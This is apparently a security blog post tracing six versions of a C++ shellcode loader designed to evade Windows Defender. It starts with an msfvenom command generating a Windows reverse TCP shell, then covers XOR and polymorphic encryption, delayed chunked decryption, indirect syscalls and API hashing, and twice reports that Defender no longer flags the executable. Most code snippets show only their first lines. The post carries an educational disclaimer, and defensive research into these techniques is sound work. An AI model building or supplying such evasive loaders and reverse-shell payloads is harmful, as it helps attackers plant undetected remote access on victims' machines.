Evolving Shellcode Loaders: From Basic XOR to API Hashing and Indirect Syscalls
⚠️ DISCLAIMER:
This post is intended strictly for educational purposes. The techniques and code discussed are meant to demonstrate how malware obfuscation and evasion tactics evolve, particularly in the context of defensive research, red teaming, and antivirus testing.
I do not condone the use of this information for illegal or malicious purposes and am not responsible for how others choose to use it. The code shared is not production-safe and must not be used in real-world environments without proper authorization.
Objective
This post documents an experimental shellcode execution project developed in C++. The goal was to explore progressively more evasive techniques to defeat Windows Defender and similar AVs, starting from basic encoding up to polymorphic loaders with indirect syscalls and API hashing.
Initial Payload
Generated with msfvenom:
1 | msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.2.5 lport=8000 -f c > shell_code.txt |
Version 1: Basic XOR Encoding
In the first version, a static XOR key ("verysecurepassword") is used to encrypt the shellcode. The key is reused during decryption.
Encoder Snippet
1 | void xor_encrypt(std::vector<unsigned char>& data, const std::string& key) { |
Loader Decryption Logic
1 | void xor_decrypt(unsigned char* data, size_t size, const std::string& key) { |
Execution Logic
1 | void* exec_mem = VirtualAlloc(nullptr, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |

Version 2: XOR + Polymorphic Key
Random XOR key is generated during encryption. Output header includes the key and encrypted shellcode.
Key Generation + Header Output
1 | std::string generate_random_key(size_t length) { |
1 | output << "// Polymorphic XOR Key (length: " << key.size() << ") |

Version 3: Polymorphic Loader Generator
This version dynamically generates both the encrypted shellcode and the loader (decoder.cpp) with randomized identifiers and one of multiple decryption variants.
Polymorphic Functions (Three Variants)
1 | void decrypt1(unsigned char* data, size_t len, const unsigned char* key) { |
1 | void decrypt2(unsigned char* data, size_t len, const unsigned char* key) { |
1 | void decrypt3(unsigned char* data, size_t len, const unsigned char* key) { |
Version 4: Chunked Decode + Delays
Decryption is split into chunks with random delays, simulating benign runtime behavior.
1 | void delayed_decrypt(unsigned char* data, size_t len, const unsigned char* key) { |
And we didnt get flagged by defender
Version 5: Indirect Syscalls
Implemented indirect system calls by manually resolving ntdll exports and calling them via function pointers.
Stub Resolver
1 | void* resolve_stub(const char* name) { |

Version 6: API Hashing + Indirect Syscalls
Combined MurmurHash3 API hashing and export table parsing to resolve syscall stubs without using function names.
MurmurHash3 Snippet
1 | unsigned int murmur_hash(const char* key) { |

Detection Explanation
- Detection Name:
C2_1a (T1095 mem/meter-b mem/meter-g) - MITRE Technique: T1095 — Non-Application Layer Protocol
- Indicators:
mem/meter-bandmem/meter-gsuggest in-memory artifacts linked to Meterpreter.- These are heuristics or behavioral indicators seen after payload execution — likely from:
- Command and control (C2) network communication patterns (e.g. reverse HTTPS).
- Meterpreter staging or beaconing behavior.
- Memory-resident code structures or recognizable strings (e.g., handler UUIDs, session checks).

But now windows defender never flags the executable!